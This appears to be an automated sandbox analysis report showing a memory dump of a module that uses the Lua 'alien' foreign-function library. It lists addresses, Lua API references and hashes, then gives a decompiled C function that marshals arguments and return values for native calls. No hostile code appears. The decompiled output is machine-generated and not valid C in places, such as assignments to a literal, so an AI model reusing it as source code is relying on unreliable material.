0x005e2666
0x00000000
0x00000000
0x005e2670
0x005e2671
0x005e2671
0x005e2675
0x005e2678
0x005e267c
0x005e2680
0x005e2685
0x005e2689
0x005e268c
0x005e268f
0x005e2692
0x005e2695
0x005e2696
0x00000000
0x00000000
0x005e26f2
0x005e26f2
0x005e26f5
0x005e26f9
0x005e26f9
0x005e2702
0x005e2707
0x005e270f
0x00000000
0x00000000
0x005e2711
0x005e2711
0x005e2712
0x005e2713
0x005e2718
0x00000000
0x00000000
0x005e2728
0x005e2728
0x005e272b
0x005e272f
0x005e272f
0x005e2738
0x005e273d
0x005e2745
0x005e271d
0x005e271d
0x005e271e
0x005e2723
0x00000000
0x005e2723
0x005e2747
0x005e2747
0x005e2748
0x005e2749
0x005e274e
0x00000000
0x00000000
0x005e2513

APIs

lua_tonumber.LUA5.1 ref: 005E24A4
lua_pushnil.LUA5.1(?,?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E252E
lua_pushnumber.LUA5.1(?,?,?), ref: 005E2561
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?), ref: 005E258A
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?), ref: 005E25B3
lua_pushnumber.LUA5.1(?,?,?,?,?), ref: 005E25E3
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?), ref: 005E2619
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E2666
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E2696
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E26BF
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E26E8
lua_pushstring.LUA5.1(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E2713
lua_pushnil.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E271E
lua_pushlightuserdata.LUA5.1(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E2749
luaL_error.LUA5.1(?,alien: unknown return type (function %s),?), ref: 005E2766
lua_pushnumber.LUA5.1(?), ref: 005E27CE
lua_pushnumber.LUA5.1(?), ref: 005E27F4
lua_pushnumber.LUA5.1(?), ref: 005E280B
lua_pushnumber.LUA5.1(?), ref: 005E282B

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushnumber.$lua_pushnil.$L_error.lua_pushlightuserdata.lua_pushstring.lua_tonumber.
String ID:
API String ID: 2475247279-0
Opcode ID: 9fa899b6346d26785f4992b6c4866917fb7450f07c8719ce743bf41d9340f2fb
Instruction ID: 3749ece0c55b4c99be3ca5e6a26306d8e08b83081eb9cb75b8554ae6a768ecc6
Opcode Fuzzy Hash: 9fa899b6346d26785f4992b6c4866917fb7450f07c8719ce743bf41d9340f2fb
Instruction Fuzzy Hash: 41B1C5B5D04149DBCB08EB95DD89CEEBFB8FF89300F148548E481B724ADA389A15CB65

Uniqueness

Uniqueness Score: -1.00%

Function 005E224F, Relevance: 25.8, APIs: 17, Instructions: 315
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E005E224F(void* __edi, long long __fp0) {
				long long* __ebx;
				void* __esi;
				long long* _t221;
				signed int _t223;
				char* _t224;
				signed int _t225;
				char* _t226;
				signed int _t237;
				void* _t244;
				void* _t246;
				intOrPtr _t247;
				intOrPtr _t248;
				void* _t267;
				signed int _t268;
				void* _t269;
				void* _t271;
				signed int _t272;
				intOrPtr _t274;
				intOrPtr _t275;
				void* _t276;
				long long _t286;

				L0:
				while(1) {
					L0:
					_t286 = __fp0;
					_t267 = __edi;
					E005E4686(8);
					 *((intOrPtr*)(_t272 - 8)) = _t274;
					_push(_t244);
					L005E3F68();
					_t221 =  *((intOrPtr*)(_t272 - 8));
					 *_t221 = __fp0;
					_t275 = _t274 + 8;
					 *((intOrPtr*)( *((intOrPtr*)(_t272 - 0xc)) + __edi)) = _t221;
					while(1) {
						L36:
						 *((intOrPtr*)(_t272 - 0xc)) =  *((intOrPtr*)(_t272 - 0xc)) + 4;
						_t244 = _t244 + 1;
						_t116 = _t272 - 0x4c;
						 *_t116 =  *((intOrPtr*)(_t272 - 0x4c)) - 1;
						if( *_t116 == 0) {
							break;
						}
						L1:
						_t247 =  *((intOrPtr*)(_t272 - 0x14));
						_t258 =  *((intOrPtr*)(_t247 + 0x30));
						_t223 =  *( *((intOrPtr*)(_t272 - 0xc)) +  *((intOrPtr*)(_t247 + 0x30)));
						if(_t223 > 0x11) {
							L33:
							_t224 =  *(_t247 + 8);
							if(_t224 == 0) {
								_t224 = "anonymous";
							}
							_push(_t224);
							_push(_t244);
							_push("alien: parameter %i is of unknown type (function %s)");
							_push(_t270);
							L005E3F26();
							_t275 = _t275 + 0x10;
							continue;
						}
						L2:
						switch( *((intOrPtr*)(_t223 * 4 +  &M005E287C))) {
							case 0:
								L3:
								_t242 = E005E46A0(4);
								 *((intOrPtr*)(_t272 - 8)) = _t275;
								_push(_t244);
								_push(_t270);
								L005E3F68();
								_t275 = _t275 + 8;
								_t243 = E005E45C0(_t242, _t286);
								_t257 =  *((intOrPtr*)(_t272 - 8));
								_t258 =  *((intOrPtr*)(_t272 - 0xc));
								 *_t257 = _t243;
								 *((intOrPtr*)( *((intOrPtr*)(_t272 - 0xc)) + _t267)) = _t257;
								goto L36;
							case 1:
								L6:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__edx =  *(__ebp - 0xc);
								__esp = __esp + 8;
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__eax =  *(__ebp - 8);
								asm("fldcw word [ebp-0x18]");
								asm("fistp dword [ebp-0x18]");
								 *__eax =  *(__ebp - 0x18);
								 *(__edx + __edi) = __eax;
								asm("fldcw word [ebp-0xe]");
								goto L36;
							case 2:
								L5:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 8);
								__edx =  *(__ebp - 0xc);
								 *__ecx = __eax;
								 *(__edx + __edi) = __ecx;
								goto L36;
							case 3:
								L8:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__edx =  *(__ebp - 0xc);
								__esp = __esp + 8;
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__eax =  *(__ebp - 8);
								asm("fldcw word [ebp-0x18]");
								asm("fistp qword [ebp-0x1c]");
								__ecx =  *(__ebp - 0x1c);
								 *__eax = __ecx;
								 *(__edx + __edi) = __eax;
								asm("fldcw word [ebp-0xe]");
								goto L36;
							case 4:
								L4:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 8);
								 *__ecx = __eax;
								__eax =  *(__ebp - 0xc);
								 *(__eax + __edi) = __ecx;
								goto L36;
							case 5:
								L7:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__edx =  *(__ebp - 0xc);
								__esp = __esp + 8;
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__eax =  *(__ebp - 8);
								asm("fldcw word [ebp-0x18]");
								asm("fistp qword [ebp-0x1c]");
								__ecx =  *(__ebp - 0x1c);
								 *__eax = __ecx;
								 *(__edx + __edi) = __eax;
								asm("fldcw word [ebp-0xe]");
								goto L36;
							case 6:
								goto L33;
							case 7:
								L11:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__eax =  *(__ebp - 8);
								__ecx =  *(__ebp - 0xc);
								 *__eax = __fp0;
								__esp = __esp + 8;
								 *(__ecx + __edi) = __eax;
								goto L36;
							case 8:
								goto L0;
							case 9:
								L9:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F62();
								__ecx =  *(__ebp - 8);
								 *__ecx = __al;
								__eax =  *(__ebp - 0xc);
								__esp = __esp + 8;
								 *(__eax + __edi) = __ecx;
								goto L36;
							case 0xa:
								L10:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F62();
								__ecx =  *(__ebp - 8);
								__edx =  *(__ebp - 0xc);
								 *__ecx = __al;
								__esp = __esp + 8;
								 *(__edx + __edi) = __ecx;
								goto L36;
							case 0xb:
								L12:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F50();
								__esp = __esp + 8;
								_push(__ebx);
								_push(__esi);
								if(__eax == 0) {
									L005E3F4A();
									__esp = __esp + 8;
									if(__eax != 0) {
										_push(0);
										_push(__ebx);
										_push(__esi);
										L005E3F5C();
										__edx =  *(__ebp - 8);
										__ecx =  *(__ebp - 0xc);
										 *__edx = __eax;
										__eax = __edx;
										__esp = __esp + 0xc;
										 *(__ecx + __edi) = __eax;
									} else {
										__edx =  *(__ebp - 8);
										__ecx =  *(__ebp - 0xc);
										 *__edx = __eax;
										__eax = __edx;
										 *(__ecx + __edi) = __eax;
									}
								} else {
									L005E3F4A();
									__esp = __esp + 8;
									if(__eax != 0) {
										_push(__ebx);
										_push(__esi);
										L005E3F0E();
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax = __ecx;
										__ecx =  *(__ebp - 0xc);
										__esp = __esp + 8;
										 *(__ecx + __edi) = __eax;
									} else {
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax = __ecx;
										__ecx =  *(__ebp - 0xc);
										 *(__ecx + __edi) = __eax;
									}
								}
								goto L36;
							case 0xc:
								L24:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F4A();
								__esp = __esp + 8;
								if(__eax != 0) {
									_push(__ebx);
									_push(__esi);
									L005E3F56();
									__esp = __esp + 8;
									if(__eax == 0) {
										_push(__ebx);
										_push(__esi);
										L005E3F0E();
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax =  *(__ebp - 0xc);
										__esp = __esp + 8;
										 *(__eax + __edi) = __ecx;
									} else {
										_push(0);
										_push(__ebx);
										_push(__esi);
										L005E3F5C();
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax =  *(__ebp - 0xc);
										__esp = __esp + 0xc;
										 *(__eax + __edi) = __ecx;
									}
								} else {
									__ecx =  *(__ebp - 8);
									 *__ecx = __eax;
									__eax =  *(__ebp - 0xc);
									 *(__eax + __edi) = __ecx;
								}
								goto L36;
							case 0xd:
								L29:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 0x24);
								 *( *(__ebp - 0x24)) = __eax;
								4 = E005E46A0(4);
								__ecx =  *(__ebp - 0x24);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx = __ecx + 4;
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x24) = __ecx;
								goto L36;
							case 0xe:
								L30:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__ecx =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__esp = __esp + 8;
								asm("fldcw word [ebp-0x18]");
								asm("fistp qword [ebp-0x1c]");
								__eax =  *(__ebp - 0x1c);
								 *( *(__ebp - 0x28)) =  *(__ebp - 0x1c);
								__eax = 4;
								asm("fldcw word [ebp-0xe]");
								__eax = E005E46A0(4);
								__ecx =  *(__ebp - 0x28);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx = __ecx + 4;
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x28) = __ecx;
								goto L36;
							case 0xf:
								L31:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 0x2c);
								 *( *(__ebp - 0x2c)) = __al;
								4 = E005E46A0(4);
								__ecx =  *(__ebp - 0x2c);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx = __ecx + 1;
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x2c) = __ecx;
								goto L36;
							case 0x10:
								L32:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__eax =  *(__ebp - 0x40);
								 *( *(__ebp - 0x40)) = __fp0;
								__esp = __esp + 8;
								4 = E005E46A0(4);
								__ecx =  *(__ebp - 0x40);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx = __ecx + 8;
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x40) = __ecx;
								goto L36;
							case 0x11:
								L19:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								__eax = E005E1110(__eax, __ebx, __esi, "alien_callback");
								if(__eax == 0) {
									__eax = E005E1110(__eax, __ebx, __esi, "alien_function");
									if(__eax == 0) {
										_push("alien function or callback expected");
										_push(__ebx);
										_push(__esi);
										L005E3F14();
										__ecx =  *(__ebp - 8);
										__edx =  *(__ebp - 0xc);
										__esp = __esp + 0xc;
										__eax = 0;
										 *__ecx = 0;
										 *(__edx + __edi) = __ecx;
									} else {
										__eax =  *(__eax + 4);
										__ecx =  *(__ebp - 8);
										__edx =  *(__ebp - 0xc);
										 *__ecx = __eax;
										 *(__edx + __edi) = __ecx;
									}
								} else {
									__eax =  *__eax;
									__ecx =  *(__ebp - 8);
									__edx =  *(__ebp - 0xc);
									 *__ecx = __eax;
									 *(__edx + __edi) = __ecx;
								}
								goto L36;
						}
					}
					L37:
					_t248 =  *((intOrPtr*)(_t272 - 0x14));
					 *((intOrPtr*)(_t272 - 0x3c)) = 0;
					_t225 =  *(_t248 + 0xc);
					if(_t225 > 0xc) {
						L58:
						_t226 =  *(_t248 + 8);
						if(_t226 == 0) {
							_t226 = "anonymous";
						}
						_push(_t226);
						_push("alien: unknown return type (function %s)");
						_push(_t270);
						L005E3F26();
						L61:
						_t276 = _t275 + 0xc;
						L62:
						 *((intOrPtr*)(_t272 - 0x24)) =  *((intOrPtr*)(_t272 - 0x24)) +  ~( *(_t272 - 0x48)) * 4;
						 *((intOrPtr*)(_t272 - 0x2c)) =  *((intOrPtr*)(_t272 - 0x2c)) -  *((intOrPtr*)(_t272 - 0x30));
						_t268 = 0;
						 *((intOrPtr*)(_t272 - 0x28)) =  *((intOrPtr*)(_t272 - 0x28)) +  ~( *(_t272 - 0x38)) * 4;
						if( *((intOrPtr*)(_t272 - 0x44)) <= 0) {
							L72:
							_pop(_t269);
							_pop(_t271);
							_pop(_t246);
							return E005E45A4( *((intOrPtr*)(_t272 - 0x30)) +  *((intOrPtr*)(_t272 - 0x34)) +  *(_t272 - 0x38) +  *(_t272 - 0x48) + 1, _t246,  *(_t272 - 4) ^ _t272,  *(_t272 - 0x48), _t269, _t271);
						} else {
							goto L63;
						}
						do {
							L63:
							_t237 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t272 - 0x14)) + 0x30)) + _t268 * 4)) + 0xfffffff3;
							if(_t237 > 3) {
								goto L71;
							}
							L64:
							switch( *((intOrPtr*)(_t237 * 4 +  &M005E28F8))) {
								case 0:
									L65:
									asm("fild dword [ecx]");
									_t279 = _t276 - 8;
									 *_t279 = _t286;
									_push(_t270);
									L005E3F80();
									_t276 = _t279 + 0xc;
									 *((intOrPtr*)(_t272 - 0x24)) =  *((intOrPtr*)(_t272 - 0x24)) + 4;
									goto L71;
								case 1:
									L66:
									__edx =  *(__ebp - 0x28);
									__eax =  *__edx;
									asm("fild dword [edx]");
									if(__eax < 0) {
										__fp0 = __fp0 +  *0x5e5878;
									}
									__esp = __esp - 8;
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									__esp = __esp + 0xc;
									 *(__ebp - 0x28) =  *(__ebp - 0x28) + 4;
									goto L71;
								case 2:
									L70:
									__ecx =  *(__ebp - 0x2c);
									__edx =  *__ecx;
									 *(__ebp - 0x18) = __edx;
									__esp = __esp - 8;
									asm("fild dword [ebp-0x18]");
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									__esp = __esp + 0xc;
									 *(__ebp - 0x2c) =  *(__ebp - 0x2c) + 1;
									goto L71;
								case 3:
									L69:
									__fp0 =  *__ebx;
									__esp = __esp - 8;
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									__esp = __esp + 0xc;
									__ebx = __ebx + 8;
									goto L71;
							}
							L71:
							_t268 = _t268 + 1;
						} while (_t268 <  *((intOrPtr*)(_t272 - 0x44)));
						goto L72;
					}
					L38:
					switch( *((intOrPtr*)(_t225 * 4 +  &M005E28C4))) {
						case 0:
							L40:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__edx = __ebp - 0x20;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __ebp - 0x20, __edi, __fp0, __eax,  *(__eax + 4), __ebp - 0x20, __edi);
							__edx =  *(__ebp - 0x20);
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 1:
							L43:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t138 = __ebp - 0x20; // -28
							__edx = _t138;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, _t138, __edi, __fp0, __eax,  *(__eax + 4), _t138, __edi);
							__edx =  *(__ebp - 0x20) & 0x0000ffff;
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 2:
							L42:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t135 = __ebp - 0x20; // -28
							__edx = _t135;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi); // executed
							asm("fild dword [ebp-0x20]");
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 3:
							L48:
							_t145 = __ebp - 0x20; // -28
							__eax = _t145;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t145, __edi);
							asm("fild dword [ebp-0x20]");
							__edx =  *(__ebp - 0x20);
							goto L45;
						case 4:
							L41:
							_t130 = __ebp - 0x54; // -80
							__eax = _t130;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t130, __edi);
							asm("fild dword [ebp-0x54]");
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 5:
							L44:
							_t141 = __ebp - 0x58; // -84
							__eax = _t141;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t141, __edi);
							asm("fild dword [ebp-0x58]");
							__edx =  *(__ebp - 0x58);
							L45:
							if(__edx < 0) {
								__fp0 = __fp0 +  *0x5e5878;
							}
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 6:
							L39:
							E005E4130(_t244, _t258, _t267, _t286,  *((intOrPtr*)(_t272 - 0x14)) + 0x10,  *((intOrPtr*)( *((intOrPtr*)(_t272 - 0x14)) + 4)), 0, _t267);
							_push(_t270);
							L005E3F74();
							_t276 = _t275 + 0x14;
							goto L62;
						case 7:
							L51:
							_t159 = __ebp - 0x50; // -76
							__eax = _t159;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t159, __edi);
							__fp0 =  *(__ebp - 0x50);
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 8:
							L52:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t165 = __ebp - 0x60; // -92
							__edx = _t165;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi);
							__fp0 =  *(__ebp - 0x60);
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 9:
							L49:
							_t149 = __ebp - 0x20; // -28
							__eax = _t149;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t149, __edi);
							__edx =  *(__ebp - 0x20) & 0x000000ff;
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 0xa:
							L50:
							_t154 = __ebp - 0x20; // -28
							__eax = _t154;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t154, __edi);
							__edx =  *(__ebp - 0x20);
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 0xb:
							L53:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t169 = __ebp - 0x3c; // -56
							__edx = _t169;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi);
							__eax =  *(__ebp - 0x3c);
							if(__eax == 0) {
								goto L55;
							}
							L54:
							_push(__eax);
							_push(__esi);
							L005E3EF0();
							__esp = __esp + 8;
							goto L62;
						case 0xc:
							L56:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t173 = __ebp - 0x3c; // -56
							__edx = _t173;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi);
							__eax =  *(__ebp - 0x3c);
							if(__eax == 0) {
								L55:
								_push(__esi);
								L005E3F74();
								__esp = __esp + 4;
								goto L62;
							}
							L57:
							_push(__eax);
							_push(__esi);
							L005E3F7A();
							__esp = __esp + 8;
							goto L62;
					}
				}
			}

0x005e224f
0x005e224f
0x005e224f
0x005e224f
0x005e224f
0x005e2254
0x005e2259
0x005e225c
0x005e225e
0x005e2263
0x005e2269
0x005e226b
0x005e226e
0x005e24ec
0x005e24ec
0x005e24ec
0x005e24f0
0x005e24f3
0x005e24f3
0x005e24f7
0x00000000
0x00000000
0x005e2071
0x005e2071
0x005e2074
0x005e207a
0x005e2080
0x005e24d0
0x005e24d0
0x005e24d5
0x005e24d7
0x005e24d7
0x005e24dc
0x005e24dd
0x005e24de
0x005e24e3
0x005e24e4
0x005e24e9
0x00000000
0x005e24e9
0x005e2086
0x005e2086
0x00000000
0x005e208d
0x005e2092
0x005e2097
0x005e209a
0x005e209b
0x005e209c
0x005e20a1
0x005e20a4
0x005e20a9
0x005e20ac
0x005e20af
0x005e20b2
0x00000000
0x00000000
0x005e2112
0x005e2117
0x005e211c
0x005e211f
0x005e2120
0x005e2121
0x005e2126
0x005e2129
0x005e212d
0x005e2130
0x005e2133
0x005e2138
0x005e213b
0x005e213e
0x005e2141
0x005e2148
0x005e214b
0x005e214e
0x00000000
0x00000000
0x005e20e6
0x005e20e6
0x005e20eb
0x005e20f0
0x005e20f3
0x005e20f4
0x005e20f5
0x005e20fa
0x005e20fd
0x005e2102
0x005e2105
0x005e2108
0x005e210a
0x00000000
0x00000000
0x005e2198
0x005e219d
0x005e21a2
0x005e21a5
0x005e21a6
0x005e21a7
0x005e21ac
0x005e21af
0x005e21b3
0x005e21b6
0x005e21b9
0x005e21be
0x005e21c1
0x005e21c4
0x005e21c7
0x005e21ca
0x005e21cd
0x005e21cf
0x005e21d2
0x00000000
0x00000000
0x005e20ba
0x005e20ba
0x005e20bf
0x005e20c4
0x005e20c7
0x005e20c8
0x005e20c9
0x005e20ce
0x005e20d1
0x005e20d6
0x005e20d9
0x005e20db
0x005e20de
0x00000000
0x00000000
0x005e2156
0x005e215b
0x005e2160
0x005e2163
0x005e2164
0x005e2165
0x005e216a
0x005e216d
0x005e2171
0x005e2174
0x005e2177
0x005e217c
0x005e217f
0x005e2182
0x005e2185
0x005e2188
0x005e218b
0x005e218d
0x005e2190
0x00000000
0x00000000
0x00000000
0x00000000
0x005e2228
0x005e222d
0x005e2232
0x005e2235
0x005e2236
0x005e2237
0x005e223c
0x005e223f
0x005e2242
0x005e2244
0x005e2247
0x00000000
0x00000000
0x00000000
0x00000000
0x005e21da
0x005e21df
0x005e21e4
0x005e21e7
0x005e21e8
0x005e21e9
0x005e21ee
0x005e21f1
0x005e21f3
0x005e21f6
0x005e21f9
0x00000000
0x00000000
0x005e2201
0x005e2201
0x005e2206
0x005e220b
0x005e220e
0x005e220f
0x005e2210
0x005e2215
0x005e2218
0x005e221b
0x005e221d
0x005e2220
0x00000000
0x00000000
0x005e2276
0x005e2276
0x005e227b
0x005e2280
0x005e2283
0x005e2284
0x005e2285
0x005e228a
0x005e228f
0x005e2290
0x005e2291
0x005e22cd
0x005e22d2
0x005e22d7
0x005e22eb
0x005e22ed
0x005e22ee
0x005e22ef
0x005e22f4
0x005e22f7
0x005e22fa
0x005e22fc
0x005e22fe
0x005e2301
0x005e22d9
0x005e22d9
0x005e22dc
0x005e22df
0x005e22e1
0x005e22e3
0x005e22e3
0x005e2293
0x005e2293
0x005e2298
0x005e229d
0x005e22b1
0x005e22b2
0x005e22b3
0x005e22b8
0x005e22bb
0x005e22bd
0x005e22bf
0x005e22c2
0x005e22c5
0x005e229f
0x005e229f
0x005e22a2
0x005e22a4
0x005e22a6
0x005e22a9
0x005e22a9
0x005e229d
0x00000000
0x00000000
0x005e237e
0x005e237e
0x005e2383
0x005e2388
0x005e238b
0x005e238c
0x005e238d
0x005e2392
0x005e2397
0x005e23a9
0x005e23aa
0x005e23ab
0x005e23b0
0x005e23b5
0x005e23d3
0x005e23d4
0x005e23d5
0x005e23da
0x005e23dd
0x005e23df
0x005e23e2
0x005e23e5
0x005e23b7
0x005e23b7
0x005e23b9
0x005e23ba
0x005e23bb
0x005e23c0
0x005e23c3
0x005e23c5
0x005e23c8
0x005e23cb
0x005e23cb
0x005e2399
0x005e2399
0x005e239c
0x005e239e
0x005e23a1
0x005e23a1
0x00000000
0x00000000
0x005e23ed
0x005e23ed
0x005e23ee
0x005e23ef
0x005e23f4
0x005e23f7
0x005e23fc
0x005e23ff
0x005e2406
0x005e240b
0x005e240e
0x005e2411
0x005e2413
0x005e2415
0x005e2418
0x005e241b
0x00000000
0x00000000
0x005e2423
0x005e2423
0x005e2424
0x005e2425
0x005e242a
0x005e242d
0x005e2431
0x005e2434
0x005e2439
0x005e243c
0x005e243f
0x005e2442
0x005e2445
0x005e2448
0x005e244a
0x005e244f
0x005e2452
0x005e2457
0x005e245a
0x005e245d
0x005e245f
0x005e2461
0x005e2464
0x005e2467
0x00000000
0x00000000
0x005e246f
0x005e246f
0x005e2470
0x005e2471
0x005e2476
0x005e2479
0x005e247e
0x005e2481
0x005e2488
0x005e248d
0x005e2490
0x005e2493
0x005e2495
0x005e2497
0x005e249a
0x005e249d
0x00000000
0x00000000
0x005e24a2
0x005e24a2
0x005e24a3
0x005e24a4
0x005e24a9
0x005e24ac
0x005e24ae
0x005e24b6
0x005e24bb
0x005e24be
0x005e24c1
